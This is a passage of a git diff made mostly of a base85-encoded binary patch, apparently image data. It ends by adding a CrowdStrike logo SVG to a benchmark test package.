zL?n$+$ob~NR9%!@rqTZIgDC4L9m0BhO~W+QBn?pY)Uq_>VcqFzWL#IpAK#DUF=Ecu
z6^trsV>h`?4emH}b5SUEb7S4)wWQ^<i?c}##xowty`jMPm9@&Qk|>wLxGYu|*JOK1
z|Ndy{GKCw5yDoC6H!3MqQfMop3CRvhbGBoZIwhC^wws+4Ef^a&oLQj-rkbiGlR6zz
zoSrNw`_`l*Q~l)pKyt!hx=#)LD_fB)9E^8qQwWVLKnDSUhHX9uj{+8Gi-d^x<*um;
z$fopQEhD{xM`=|M-rVAul2Pe;S<<1TXKNOo<x8VQ?e3DX(I$^SllB7B^k%co1y{FM
zEnf3+&sWp4lC_$5c3<VU?EYgre5kGFQM6rsl9t5PwT*QhYCNQ4CSHi*49t}~SNDB>
zXA;8fwtey`&=8+<$7`$g5F6sfJL7_A>|$@leXTv8%Aw@4_Ufc4&C#Xa{;`|wNBy;4
zyM&Z#W%YP<d^e&l#N@iidetSPbL+o~NP3QnX?AajB`AcKuZ*)MHfDKeHW%}~qqjE@
zTmov|n$T`c2d2vm^LqOMrP?wNE$Eg%+4|WnPkT@>`ME5f2(Coz#&B=)tp2v!V~g0-
zeCENj$lsw_yQNg^{K<AECb|6^pxiYMp%4R##}+}Uhpcnq{)Scvym!GvG}UHaEp17p
zJ}oU5!uZ9y!d;B9;nK^f8d)*-m9Vd0<-2N(jJ!ZTD!ncD_ta#Xn6!@f$ZZ@%hm^!V
zc`-oKsF&rcrc`PsH3QqjLcY1qlWCr)^;QeIE|>M0Tw)PAx?ME)7F$~KRf-i$X&D(R
zfbR*T)HXDZguONYvsr$O@qe>fe)-0~n&pH4zFDr{^(JiJq15xL_FnZ+>DWE0h%S<c
zwb6>Lg%4d2QlJP*W!UwkJ1iopW%pq{YX{-tMG79R_YVx)HqIc&9?Q7H`b&^|Y~3Se
zXQmqK_uDm^%fIien1demBZ0^Ku3ZmcgA;2x3VO-{Tp5p|wFH)2Hj(CuGRMqxZ>ssm
z=@wuHEfU|TCV3}Pcl0pwpl-j@Qn<R;=nx}@k>#&+x^Z+_g_q`$bC!k`^S9I~=5(hR
zlhJaiRJF9gYJ71n6Ej!a=|vc+5(NgPDVuAjmHdbl=V|j!C;dn{5Pgy+^euX-LkrQ%
zaMSIVsxw1<o3cT>!rAZA{o=<wFupm)Pd7z-XTw%r(Wm&Hq-+9h#1_6>&-c_!n_{k`
zirjguXdkgLPCS?Gi(O2!{S^3~1@I~86d4W<3Iz&=)zA@F3#lT*es1lUPrrq9gC2vB
zZ6wCL_2!m++uKwr35H8X7tIp)4CgjedueGQAHODsv+?o$zKHRYOo7PJ&@L`xR97dy
zEoV~A7ik`AJS!=_{hYCR(>@3+?|b{RG$Sq04;D$1v!IC1LP2Y2bu<`+s2RE-^_bH5
zHCf{5BBm&xjQszxwf=eT-?r9OyFaMht2+VfWiLKgr8U#-@LbEG%i)e=a~OZSxC|AQ
z+Pgbs6`EtP@%MKECRi#{lRw^lrEb<4rr|a3xHBv;qES>w3ZPw2Lq21&`{lg1#+>kI
zz@zPVk@y~ONm`q%BEf>d^b6^oyX((FxAyfqAG}Futx2)HAtNcck%s+2&3;zM^3+aZ
zsoXF}g*<BgI<uhQwnTCbl!IDwed8g{r|%A~zRJC67*m-<9etV!jKI_hEk~+ovME3M
z{^*A>r!UTs^+x6nPqlB5!$!+rko~Zv{_xa&Z<IVVQx|1pe$-0$e2!JGbDE*Xs7>$W
zQQX{Qr;g^2HC?jyRwANM`h)dswi1#L?z+<RnOr4%L$d3WVQusYwXH8hGq|kpg2?#F
z2SeLFDTEVyToQS~;mzFEHi<_-6ZL<!cb-vAr)$?|EI6o$Bcjs81_)A=DxnFe^deP2
zKn1A+(j@^R78n&oq!W5?A<}yg8AWR7p$HKvp+`tUAOZ5+QO~q9bI$vIct1Srov*MK
zi$(tY@B6y;Z|^N^$Hg>Yn?|T2ExC3@GGC^zpH^I0X9&SJ3gOgcGn2Mr=NuDRX%h9*
zPKws(If>>NixnMAve8qNAL_V$oxL(%^h2dGFQhzX`kd)g)ASn)qp5(!vtQD`e0kty
z!NYBirQxy`W9cw-d9V&bVes)$^&nC{%Qb2rk^Yye{APz{=tJJkUkr$0y#|Y|>vdKI
z-a?%BT96W(V_1+1wPM&{krl=zJ#quVB{R4;9FnvV{nVx%iX+eZoF!cH*04rig5IHZ
zJdoR_Zk{XpO_1OBySdq)u|T?5!MJ+wan5WiT>(;?6CgSqcNYRtS!=;m^dWOXeXl_W
z09!k~<GOguTqz9{B}NEzyBgbOv$15m=1xr;xTGF4sZn|=P3P$=eqBfPP%A}HFi>Pp
z3uXD7EovhKy1ZUnPA4y8ll?xr6+HB*rdlM(Q`FfFd(X!o4Su15Oq4zY5XRN%qkOGq
zHiB)a<L7b)imm!~C6cbYyeqjHo&l<xJJKzVifc*_bP0shwE&tpyuT-(Bk5t!n_m97
ze#sw{#)?DYyW|N9>{)vSz>{@`mFzeq@ba_Rt+a<}O#-aJa?OtOCEW{I8GvYlcwZks
zF7wv-WZ%Kikj4610J<9GWBi?-G#boa=(CmmGQOuwm7fm%bj=HQmetnjz8<D9gcAc<
z5Mh@w-ZtTjG4=0vj?lZQ*BrEV@;uQyfqDDD`istI9EDT!UDyPI%V23Hr|MAtW}XS*
zbFI%S`u+`+H^HNf6Fr!3fAlAh6c$Oe{HEI6A-~Le$;F-E4pSxfo|>$d8Yr~j_wl3O
z1ApdOUvhwP@r`R;7n^AZv#(tH#or|RT60JDZ5{7G&=Z4}bsfJe-bo^s+Dv`)Du}Oa
zn#Dc#m=s75j^c{;{*~dyoMlA@U9c}|I726yBPk)0hnG!wM-h8tAX$~Y6U~w+JV;f~
zJRo#@uY<<;`nni{$s6`sF~b{Q_xVk+|F0MQ%mGA5!`7-3`}@9mVMuv)$dUeQxH{&O
z<$I%hUtdx&FA0drKb195r*{N-FOJ%W@$A!;wJ*G6nytmpp3&oM%Jt&>t>os=vbPG1
zD&}VMH3Alkl_Aj!Y}9xmo41!NDyBfr+?p%AENuN|G>e^6n&4r`;fYaq^cl&VpmPlY
zjp}kLg_k_#nYjX}PID4Ob0<dzreQRE?ij0rZUW?Vp=WZ)D=D7)pWdht%|ji-(d9v=
zXQxXA!tJ&r_USU6JIH!r&LEXqEM=UHb$oqN>CuwDO3&n<rTEy8!SXi5IOc$2EHt2h
z7Skw28SB@yK`@@8z0du}qs2r|kHbz|zP=o~U}8ab0WzJZEozjZuSvLVo-wb!7ipe@
zEvJ8J<y!6|reU91ds&>s$nApY$2oB~2+U&}ujlA*$c*|yCR7`gDo)|#-5W$w;gGiq
z*yMBvGLMbHRsa|j=o)W_dJIbpcXMt`<l5I+1nL%QP~D9lS#z!T5=-v1%it;>vFTbE
zPuIIW=P1j{BGgRiKXQ<C*gCN^QrWc@h6y*#pt;TP_}g_y37pBt_ON-urJ5(4`AcHX
z!DUT0qLnfeWx`|1r_Vi9%6tfdjI1hYjqxTOAK_5mnR>V6#;WvnNyRba#QH4)B_1dD
zsTkgx)!H{*T*vovY1D5B2@bctrvJ8AYiajmVtT6wmY3dXGF+uvJj%nyt$lHl0j_yc
zMTh=f*w@hildwNwCmo+XI$G<42%t9yNGcn16~v!+dRE?$k<Fr#w4bYYW4-S}F~_o0
zKxVomQZEaq=rTwVIGZ!U#yZLBPu*Qp43jl_vS8P}_X^%P|E{oHcmQ2=&cmv{euKKt
zvw>ixc3bdKNLNS$EtqhuQYNNpQ`B+|p+Frn$~hHvy2{p|)>}w2YzZV&cS@(3%$C1O
zH8m#YF4S+&)a5`@*+2Ccz#$?iYuT>abEd_wz#JDpeeIf$&JzVz)j8_EBWJWhN23l?
zdwO%^0e|X7(Jc*=r-%6OfDOinSJBxsb%VuQ&AWIo%F4ZN6JkT)dWP)J4o1k~Fc|81
z0($aag1&e4<kF~wnzUY?*h?^vBu*qIPo@QD=7ylpa?7}tTG|~y2Q>YbyuZ}+jYY{;
zWn8C{0siPe7nl_+#Cq)gdzn|mXk1>SO6oOSfV}lKWuVHw0bH>YY%2g}U)G81HI1M5
zfr_T!<!z?h<6=Nb9Ad#x&DX-*D>E>FB$xYxRWgdAZi4gbjf|}{+@@{1%s>Yw?iQxN
z>gO%mV>_o1k6G-iZ#1}(tLJ^vaPVMvxOZyuR!@3Kh1S^@?fzr)B_oxtbp-Ro4T{EA
zY~@FumVFEMZ~%2G=?fd56+f+BAH(sIhq$3(B<kKD+N{H0!Wf;vG<tSaQn+CGiNNK#
zZUStkQ5@kl7ZZXK)Jt?O*8K_xJj&R{B7+DZ`=Nt4oNE325wo%@&_^$F=q2MemgP|z
zxrL}`zj0_Q57_-Zxc4&pGjgx|*Y)8gH^!bfDHN=xAH0nOs?f?M*HfpvBx6><0D3`u
zD?lPz+)NLQE6(s$J#3H9qn?v0gms$e>N>kx_8o*?>CK5#HJNl*^OH3*orq_5IHF9=
zyklFA!y%UBi^yWUjYpnsuFG^~kRPnzec3!^AjiUZOS?4mAW!X56FP9!B3omWKMZje
z_&8p6jk$f`lIR`23K)Cs_9LBHc${0DFYjlaJK2ROXZOK@dCS@q`pblsF&JWAb0a&w
zZoRq-45dnQ{bZ<QeUYh~JSS;=-XrK!lS*$k(WDn`<pOK<0I46ZVhV#WrX`|a$T0Z@
zaEsVo`0^d*jq=;KLKf<0GZqK-edlslldF&dH#10nYt=I2eno@!$kB@S0sFk`K35R2
z0#nEE@+nXr@4W65*&A`9(Rsm#kpkIjPzZ@yM~-c5tzu!%y0TC>{ZueDCa7xcuIh{6
zU8AWFGbWN@%jo9EcS%aMgl+XKjILs~efYk`BQ^Vc`C^2Ou0n74h40_SNZOC42CXSe
z;%W|%{G9nkkUwXS_AJfS3{2+UlCk=e^3RevR}#1}P?Zhp;03(1R$(@KM)(@`kgfYM
z5QSwUHJkH&7FP@^Tt>ALWnF{=-Rs(mlx=5taB_vNYnqP|YHz4rq1Ki+y%W$`cc4PO
ztWitjogeF5M|`Ajb#S}Sx)twaogSC|<jYBHESafp*nWSWeNfb_xTprb%+-x~Ttc#*
z^_UbDxMWrXG;w9<81QusQbcNc79*HB<pD+?3$UX|PB)T!AQb_A|G^YRlw`{d!UaVF
z8y&}PKm3KFuGs+f(fx9*k@6dDz~u2{byxQ0+=a!y+_(+-Ed1i6zET{Fc@4w$&_pfH
zC?`k|<OpJXu6tDBHBY!&$jYj5QmRW(HAhIC1DWde4N_62KUp;fWwL}pvzt^KWXOL&
z3Bdp6aVd-iuB^n`*s6?g+xtFYz-2JeK@NCq=1u`o=MTch)e>7hIZmcaL*43S=<%)l
zN#4$*Lz}iW%+X12UW)YzYpa74(blp!jduHz-ZZzz=Dww_V<l$7F&L%GMIrlwHbiv`
z%;aqfjEn8o#1FEHI39B!<Ab-oBWLJH9}gW}YaSqRmg!tchmXmgpLJ)}%kG;~+VPg-
zS9L+uDkajzre$3dH*Azp>)W;&VX`>~sK|WbLQ|Ba$?Gk;U;Ua955(IbCy*ZXalG!i
z;y1$V1VQPTV$&3)oUY=<JF@2%|NT7lE~c|QKbh<_8#lBbNxJ*@(7^n`Y*y~8?B6@a
zqz;0ex(o!y;rsP%@u1$b{qA9I8R3<o2TEg$5#U|&$@qhj%V0Kw>AD-os`FspkuQy0
zY$hsZ>T*^EsM&jYF4(P;_!O94ar2=aPo4;0y);`L@nEr95Qxc3cE-PHCr|1j70w^h
zo7I>8g+7>-KEC70J1jgk4D|e4X9Js$z=Zv*M^1Rh-qGyjI(qQ?uPA=%&&r^miPu;9
z_WvKH?e%v6;;mXs$sZ)Yq1m&45cEPAvi^fF2MK?c|8;Nw_&YIO1cbgG4Cz&TobxZq
z{4cbsuL7#pw>{F=r-SLM%J^5K{<m*4={fvP5c$1O_3is#g|3pGYk!c$_J5W2Cr*z4
zS^h`-a`5+J`akHyw?E=P=)>>D^ncKYZ%@VlZuH?W&3E;qt()!e4yL^r;JEHMcdJd|
zX-##=VR7plTCpNR??Az!MG#N}<p9T*wOy&_j4g1QIr_NNAtu%ec3>z~5B+dl$>8uk
zz8}&jm3EX)rU01d5di%b^B3RiQ@c{y`YVj&Ve{45?UEqj-K6(KL1MJ9NgD}y5u~=A
z3O&FZ?JCcvp|iE`*V9SX<9)=hVBXKSo3HX8=kCr$jO}7Ncp&Lgiba{2;>{B%`*7!+
zD7h-Vd4q2^194k8WMeOscInz100_RI{rKSpYzLFU&<?WCeb%YYggOIA<%?G7mu9)9
zta9G#dA}a$TCuNnikp>RI{fi4{PyYo1-Q{Xu;bE@R+0oJr7ignC&Hgz&kT(2(6^t$
z^q`UXS9ar%C(7<yKzJ+#bz7Pi<(H3~5#77qD>Gt>{l-*W<oK_f6R%RI*UNFZ-Yg(4
z^q!qDbQ;O>c*7tSYY(J<!+yTf2!Bsng(FB|<X82MPyOe-tsQCe16^?i_>|M2>!Aui
zqc`ekX(fpI?zJ#D_;1MD6UJHdN%tF%)!LbHMQBEPDj%<V9#hCG?+0|Ln8mNS^LJ`P
z1!#DGi4m<YJP*65U+dd2Qh%GfWyq^R4ob?)ZM!cAP-!tecj$o#9=Y4_9ZZiin?u>!
z!GpS}zgxdiyOA9@`jfhUBhn740(R+A(>M4ioSPT2))h<{O?}%AHqswD0|_s|c6He6
z@_2wtwTMO1ZMg6;&IQ>IjeHvsU)B10{0|$`*lxP^2Cuwtn>MPRUv$*_l^d4y3gj8v
z?><AaQeN0x<3&ZXsfWkz+;brQ4%dBd<y+6pa~9BR@6Qj{xu=@vRJx6dfiW=|6*y2?
z`=YpTwA<Cc1V%Zo$s?=jHs5DsXcz}HzzurWxGXu!pLi6y_u(!GbFEHQ=4jv2{2Ccn
z|D$&RY3RlF<~d>@wE>#cuxtOL<R}nsaEI5d;ROk52pzK?EZSm0G0@oQ-I^4Y2sLYr
zcHY|Z*tv-PT&J|*+wW2)$0*7jarhLt32^>8VuX%Slb#aBN0at79I*}>ppiK=R6qYx
z<W<zNHH^1j35ehTaz&81wqa1I@=3u42ZkA8c?;j{38Ta8XluOoXf$q+uv|o3st-}3
zy#iO`59KUZtG3?7m)Og9`94x~+0pZc1i}KQ=Nzo1#PR+Gq&jcQZCU}`5>%8f$znd~
zS)pXHC1zCKGJE=ooy)cQ0y;?`#$bx>XOgON!{NKa`=7ZsT|K>Hgr`kx4km5ST|ahP
za~%iK{rr8o7}DWr2&a_7N^7o-Mj==jgbqh#VLBV89z~|cAG8RXL&N{xn{WDm<jn`&
zgJuFc0R7-qxUVtJtz=j{KcvU7<5RXK#mZ2Ym3O7vcbYfYBUvmI6sInfx#5%)?~njN
z?aG{?5~<DyYh#$y6=BOBwVh=cC2f1StaXTjoQ4w7wT~qWcyf=;Qfrgb^;u&HIs9$r
zce+T253%?LNCjk39t5Qx$MGFKgGfg_>hY5B8{bj(Vp;#`=XZBT$`kAptWoZ4+$Smf
z>zf1c(koU0v@em1xJDZ;*=LbYhz@oQU?XVyc@m=S?Y*<iO{Iq^BE%KA^WWcqqtKg0
zET?7!&%~MCX^W0@2vrgTeu2A~6+J=|Tsa_>@t#gGx(D(Ngp35k$qne(=kr%u83Qn0
z!nlew=h{_qoWjt?fCXw=F3sdv(3%xH!-ou4)q5V7)rKJKkK03NG`m_)2?5-~cn6je
zd3wC9w(97A1_**vrJF!c?3HmC{WQ)CqNNol=8EaeYO2|yt+mHv)a{qP^8)7Nx7w)o
z1i-N1g0}MgullDiD1uhv)js|9tZU7S1HQ=)FO}HHHS1Hr%Bc<#I4aMx<?R4(<5+;@
z{{6jt1<&{1OZ7fi+df&YGx5ac0Q0)#Uta#qT&%>sHO<1&Mam9-2>x$}MBf<?!xmR^
z?_i6^)_D9ZI30mAy*I7t9dP8|2)GtKJYKo9!FIs$XEzXT*jw!pHf&$v9BJ6NeFYuZ
zx_{I0$C=ff62s!V=76lrDtGGZHBRYkyZL*QeoIDRolI%a*446c5Orv`Fu3G7mrVvr
z_ie*6d)9mdbW#y*Qol?=)`HimE6Kli;r)VLTR$gy@~C*BDKd7SSl;re@24*}{BdhG
zfg7B2US9h7H}W$SWuul+rrdQ!nx`d2JbZA3q8l}@?v6)qjeK+Mv(4`YFC?^^pv0;|
zSy4VJIVb`?Ed^d2aH16_t+TqQ%{}-<L`omOwqdqz;fy^38emybf8*6r(F+UAhRuFS
z%RKiG=IU6ab%TZJ&qBb$FWG2{<eHHuLq;0msWmyCRR3Xd!=+7){LeJk-E*IUAE6hZ
zsh6)<ITkk-m|$Wo-RDGM6noQ=-n20In`^nr7^p~c+Y^g)moMxXI}`st8IUAWo6j6y
z1~uz?c1y0%!g+V?Nqyy16H%9y&;3QjoKc@aZXkZKlRO*;#2f5=;GU+2{p8KUfH^-Z
z+*kPMyf1AWn(OjJticTh95G2=dK{Wta}JXFRTn&ZjTwt=d$^7N(ozwQb9Q~bZ}K>=
zmCg31WU~TWH2mFb7=c!mmFp0{p_S{CBGz{=ZCo7MS$GrQ-k3PWutb|WNmK>;6vzgV
zRvd|eZY}7%K8LW7$Am>VqCfB2*hgH=@b7&62TgwG>rZpgJ)bP^6MZy=`*ui1mFHsN
zxH_N`oZ?=)Sd3_~pQ^8fRk1$|2zDH8IUd-(i`J#A{5A!Ve|hDQrxAg>13l{@PXQSO
z<UEWcV<8zCeF%Cd;OjNSpu7fvkktVIc4bQ9`iA$upE&Y<pBa^nHdcE>G)hok_M|YJ
zVYp`HmTmjR!&YbaN#vO<jwe#anFAF^M6O3y=xMd-_nx0I6tY~qOO%u43dl36%VGJ^
z$x$Wr;=sH*-nbR_@=d`XNC#vkaG091YZ*Y0!Mxc`)n+!ZmR(XL8f|Tk9|SkN73pJY
zF0~1Y$;*Sx5CK-Hb5^(c$VgBJ{e4@slVm3}c$VUF_N}qz2>jAG_gW&rTeS){*4!5=
zT>)EDn^K07bK;j&d`}F(t56)q_~ryY#Y-lYcwxoNYvw6MX)pJB@AnR5z2J243SRX3
z%e&~7M$eIn)1h~oLv(Yf$wb;tUOuE@r7d1h$U381u9!;$>bD;1xqk19R#;@@Pv&?-
ziZ(VpytC-X>{OpoG)n4U=>ct#nZs3uD!H7v&PY>aBEr_<B`FbQhAPhAtakF6p|j@=
zP^FkS!@z@ge&lD0HKt&7ZK-N<DLbL5?q~{3D@SK@#BZ_cj)}XsaL61axftEs;Wew6
z&vDu|gF9Y08lyyf97dfY7Cp!@o$7sNML-juZ7hn*`9JMQR5VlKC0m>FU*T1fJEl0!
zHD0%olad1+rYmlWZ;;C9HO$`RjdYcdAhQHqca8{%g2i#51{x820&pxc*y_E$0X)zx
z{*B6Oh4!poN~GicH?0`40k+-WV*><cb6r7fP`<Y#{E7J>F~p_p33<oHcl<$z<1#WY
zr)5M=DR^xle>{(4i<u4jK}VT9bwX}3OtQn%jyXWqZA1junP~eqjcdODUI}-D5{awV
zq46lyPrFc4#_`@$ML{FRvkv9OUqyXg$M4}gepfYhTP=10cg%`{rqKzH4IEAc(`BNg
zwZ-xsRAJQmfyP28pX0@2jLQO`@&D#3*?lmD7*zXsg-0||R(e8={>+(+)VtTr3gRb4
z|A11d?MjAxU{l_7R6T2vpaIOc65TJKGc(<`eMGlrJw>WtfouS6tET?S9{<TsKi#v-
zcDs$dao*J<_HnY2#M2Rb20$!<^Nx_r#&xY_&LNwwwXKvSsqU!AlBUPin@%6*^V2bi
z0$nWSXT}Zs&-ny8I0CWr9Eh+P6NZCO6ukU$9oY640_}?sXRQc}pZDD+Rk=JUWvsE~
z5`ZFEyN!e5PV6KEcHi|IUE`gBZN|tEbvUX0wyTt&K>Z&xc0rW(9N>{^D%wyMXx&M#
zZAsxyVy-WLcpXp_2?fD&gzP_u6r{kCOw)V6JTrYG><CqGtD6>(yjx_7>=X9jI@9ZN
z;utb5d%@+H26=fv&24T}-o*-8kWWcL*V^=530iZ-HhQKbKz2cE>KrFXFL+*Ld;Uvt
zBjTjQ&K^RNJUqAtLymX(kgFD2IV1Pl&wXZl`YODc(;<3o>xE*DM107j6gnZwzR_!v
zudAOauW|r?=`>Dpk|*M3i~6}PrwX|Sw+cv#SD^DnJ)BP+bU)X7sq;S=A(?CZiS}M$
zNt2mPRt}E+H>G|Yd|#EqoD9A&ph8aCHEOmi2m6Bg^!L~T(BrWvcv_iCdOXqLlV{7j
zU29&}z9<(whsy)E=5`;fFHsS$zrSZUY;a0Fzc<_N4R2N37eAXgbIJDz=bX%|;WF@4
zDIO$;h|fhY){$b|>uWPzmX0V+F4n`0yn_6<>s8iR1YTylHmMEKbq)<96lsAvio?Gj
z^i~<u(LHB|dE-F;)zAqZ<)G38rLnj7wbXtzD|fmTQlKzHQ_kjqRl1GEBDE|MBpeb8
z94yjx3JH#PDsVxTZV%6Mt;s1%^tvU;vntmUm-h%T<;0YyY+^E3$G=3B7VLSV`bZp*
zmC}7&XGo~9HIQ<UIAOvE{lsUO{`u(yH<F7&mYuY_M7Jz^a;)6>qYJ9hc83|VVkD73
ze<*aVG>c`%@n=mnb(etAZV-Cl`91VNs$*psZ<E+&soa%pUl8wP0%7Iz2d3n1vJWs#
zjupGvG^#g>$KPzhPlL!aVH4qYKxWwQu(WnMuYK<4t@E(bno9IB$wBK=60j}>&aHQG
zt6$XU(adD=QvC5;8ZsEeFjJ@J8>uwrT4MEHonMpW{6s_211C((sYLO$-j7!<CkX;~
zscpd?-=}rg#yQu5^M&!I1E>s8$C2rspT@zpb?&I}nCaL)7X*1{4=f18nan8p&2FKB
z&mz}3em>AN3`jlmxw?qrnl<;;?nb`2Y4n0()idihQJxs1*OQqX`0|mYkSj4>;d2D6
zvk%Z`E~vzu8}W;pntGS>>hlk{QV^arGY9o{9C8DZV|RAnbX%5x^AQi#TlEy15c^zT
zAn-CDtINPCXhmgqeKU*A*A@)=@hL{{%2}_{1;V&xH7zQu6|l}8!70)k*>JUT;fxR+
z^6)(ndLZy+dA}`kK$6VWKh0Zw*CphzGG~%j7^-2_#veBHbJ4G<2Q0WS857kXn9hp)
zS1VW#eDnC)T6?a^F-#A`i#^>oP<nS5HB)B#uJ6qQxU?86J5U_E9=l7~Wt<Fsr){X)
z%@3(X=YEL_IRuKU?LxTwT^*;>KED$+4?I**>-eOuKQ$;8;a1zT>oX6ifs;_-L|)IP
z<)tU8g|az3c_Q^#D&Uv1>}Pww#7`E100@YWb8D2o!YNSYET!^`Rh{3S{hUIqKC@q*
zSGWwkGP8z_8c%TnVp%evFvJ&Fjun+Rz+mGtwud#|k>gE&f9evD?HFhE*b6s(<pnSZ
ze+=O!ADvyFmCnF|@-duki1C0wXvd};err*)N+~*d*~bR)jWf`RH`*xzYUyItx3|P4
zJ5~VAb*H7v%J3ruZRHj2I&!z*V#?ly!L5@lPuX=Hb>X=OIAB&3x7B7gV(025lh0DS
z{8Y%q=^6+6X%<^`?RQ!n9rp^{ZfPKwD=~iiN%A{-h#4xinL#nbQc^j1!GjHWGSyF2
zO^ZM;!wfFP>|dAnhLe+UD-=t+fX~NjhW*&kD{EhhP6li_St9ciyw(k5tt0d^uU-J%
zjI~9=snD?67QYK83zKefAnkH*+4Aa*=%(TFv8WLGrrP<g?lOP5xQo}i7Amh_z<Hf%
z!5waBvG1a)jBKR*u#H*&=*SOY#Vbk7YO<%*mtb92n?Le(-mA9I6zMJ#I1GB|h=Byk
znjp@-<XHkuf9FFGqrf&WPd+9bm_jf2PLNa5q8B?4w2*^L+`*!0F9Rd|qk}1!K7E+U
zAdewa?5yZ{Y4Ul!HAgE2t!HY&#Tqju*pa@lYv0loz>Ca{_{D|%pKcVX70us^u<+1(
zBtT``W*5|riWL>d>{SK*bGnso!ve};H_ia@3*p~nTx{IBYenj1=EN>uVLvc1*$;g%
z5Fsr!x1_$1OMjbOU_-ynZrYs|$$Z4VlWLtIKEQNKi2XhHDruj<rR;PGI7eF?Wyy?#
zaTgiJ;@~#64;6s>#l7lY?hgX2&z<;lBMFWCip9_4WNqLo#gv9nL(xLeC2wEHmDYEu
z1!VIC(keF}r#tyn_k*cic=X^e!7qY~Q4BrU*M~+`qy`?a!hc7tC0kT?LzJN5v(o7U
zr+us%f<Pb>O!d0Y_~sMzB)y(9q_>2Tj5JQ;O8|x!kTbx~fC)&4J;wcW-VXDj7p^uM
z!K0X4y_KW85Hf+W`K8%dQvSWcVFyIFzTxU^uTAg9qu_D|B}>qo=0M0=!Yy4gx_^?`
zz}s&GDPIPihn<_-fU(yY@G3J~>2-MOrf)+H>v^UD?b^YZ<XEnEf#eFH48KU>qGsG3
zs%~|g&_i_|=}b(d-FTz}UCh-*IHl}_iaOpj3Vl293;@m*@J|{P0%J>Kaw5iB*<rm)
zTMxQlKtJImLdI1FYjeKoMMNgZb_0`U+=l=hIg7FJ4Y3~l5_5c~m5o|dEdjg>E?}Q~
z1xTH!AHxp*G#gNHcUT9l8GlnX9*RU>uhFunF7uDQhzlGzAM2Gmw?^ho@U*Ui7?+0J
z$E+lahbrYt-GJU28(B+Q1b~KAw2bF3mgW<!7g8gnR93I?9gv*pxP;*f4Z=y%1Ba6w
zP*MR%4z6UchWj1`H$Kr|`L{4bLsun6Dcn8@zmXYH-^q;Gii`7;m`<W;E}2kZ-G}$j
zI|X7t?-l%;2TFl42OWOF@IdWxW(PK={4gw-(f#M}Q7Y%cT*pfXwx^PdGZ$uJOj{X~
zG7Yre6w1dNXyV;uwJ?oiV&HZelN0xDL|Za++NJ-jg)@k=czf8|QDgqac2!$TYJiw7
z!bV76ajTxQ%lOf;7XX&E`@*iKXeQL_%Q7j@R==??fCg0?y!Wb023Rt#TU0vQ2dUK^
z@DLF3C7UdD)_UPZ&o8jnQ<{p%pTFibl;1XN9Hq6bvlua82;EN_q4r2Hxtq(%a@~Cv
zu^<9lTaE&2wzvakHZCDM55z2EmZ~ThXdg>;1<NoVV-U?p%)`w*->D5*6)j*iFaX<#
znH!Y4Nxt4%*Q4xh_04{IBpMHB@r-5VmT5hLtC)WL^F!WLUsp@b>}MRE7k(!48nL#{
zZB6L!6td85YdmC&80?(Rfcj*&ga>w_otaST5%<e<P<*Ubj0}evDmeYk05zXl#1zhK
z9xI|5W8WzznX12=H{^OKW?(X{1yf^2^2?h+JGBc7Ad6>37(G4ts`zeORI}MOQXlTM
zUr;wiKoMpg#{nIf-0E)J({7TCBJyIN^`@&?O4>BbRFUgO18{&KyYt41E`co`m#<w$
zR&DCWidosmDu3y=?Ipf<$sXBAP}6cbuRA&qsV%PbSdJMQ3K58h8R6tR{QF*~Tia?C
zT3C;KI#g4u&BjOtbJ&NT_wOMDY=z&Nsh{<;_H#{QX%pf-R12`1K-9t%7T0U{B`s88
zx4<J_zR+<mq-DiR#+L4Utea(_q%*9+jQOKaDr2(%V(1ns37rjgBVp$D!yh7)Dym)y
zb#L_2@&K?hJwb=PUBob`4Mki<!4Hn&w1Va+F`Bfln0t@P@qqiUS$;efbvzfOK(s!5
z^1Q>pr|~C{h33AaOKWEsz&0F0-gj}<`c^CI?_ePndCb0^WF$UJ=%7f1;fk@k)<BB#
z?I7*djKg!IRaG0|M+fuy!G1vsV;Lw0^2HG3qI*1`e{ny5F~(DzbZoAKdY44+sGw96
zf(D=E2`<o&f+OO~UlAM@#UQM}l+;s%@>4!8m^>mQL%+Vfzhzzodu!%}vq|o-cGjJ;
z>rMug`}Y>@zPUY91M@Dk9^G8EOw7NS(-fO@GCE1>b=s|ZANZ!wQS9?J8B)eyz#B&X
ze84KSG@?9}Qb!y0GB^m5$Wl+zW8mA9dPdT$y9wS@*si3#AK3wDRq5@2wK$M>QZUd#
z|IYkKezKxZQZZaJxuDdU4C#3`zD<|6rU^0pt9@v?rW;}GUCK8T^GiRzu#}sgyd(6q
zngdIZULR60wqd*<Ko-Qg6Vvat5mCB3eYlGHp6Nd~3VO9$^Z5>Rd3a?f=X?2N#~%&V
zG$0>^ZhaG6-r9ik^grVPdml0{%v)c#1hsHybrDhr7^2UbH|wMj>lC;>Sy+@iI)4v!
zm=O7ohUkM3;A8@$Vpd0j!-&@dMmDWv^FYcD4&mrHGn=5;31{%>J=hWbXH)vQEC!bL
z=^u{czkE>N^t-S4#NY3WzlnAKa2)?cSo{-V@m=u#C&J?QuB`v}5f=Y&9E5*3j{h|r
z2c&^lDd0M2Ot6QmR$G)`ydvf@I9~6z;8%4Qhi<lh1*cI6aZURBJ4f79KVODv_K<1w
z(w?}jh@|Mr=WqQAQr)Rm)MW6gnRxtL?9AhX0GkB1k#7MVA7{Hu{0`LPwhvoN9rpCX
z$=iXjjy0Z0kUQt5Dz_VGlFS>F)AYz0WbvzDio%J;O)e^2sL{4X&wnnaDhu%Uy-SJK
z5<VjxMGqdM7aWpt=t=3-iM$@qPj7xG)7j}hDX4Ry-Fpl>eoO#HS(0q;A9NkP10n;7
z6)3>(^!WI2*NTe!62?zIofK%*4Ww#o%^Skp1n9V7T27FJ`?jjS%F9bFm*VCKzB`Pl
zy$f%i1IzZ#CqVs;&Q102sZSyhRk6wP?!lx6vL5?PuYs9f<96kZTJO4(qvTrW0cRq2
zGVUi_Lsd=JzC^mmhjxFDSr6zeE~35Is%}XxfdPZq1SOw9$keeVAlvykr7p*AZ$4KP
zl=`<e3!Uv-iuf4f$N&30h`l27b<CH&tl|DO0^iCQL>;*nH~2Kt@RqL~=Fx$)PRVK`
z>;mzy!2ls%nzo1Y9ySm(EE+TZ5{-q_{T8oQqZ)PrIj0|_o&28tz&uT0jim1ppK#E8
UE4paNI94>T=v^*Wz4`Ee037)twEzGB

literal 0
HcmV?d00001

diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/img/logo-integrations-crowdstrike.svg b/test/packages/benchmarks/system_benchmark_crowdstrike/img/logo-integrations-crowdstrike.svg
new file mode 100644
index 0000000000..edf569559f
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/img/logo-integrations-crowdstrike.svg
@@ -0,0 +1 @@
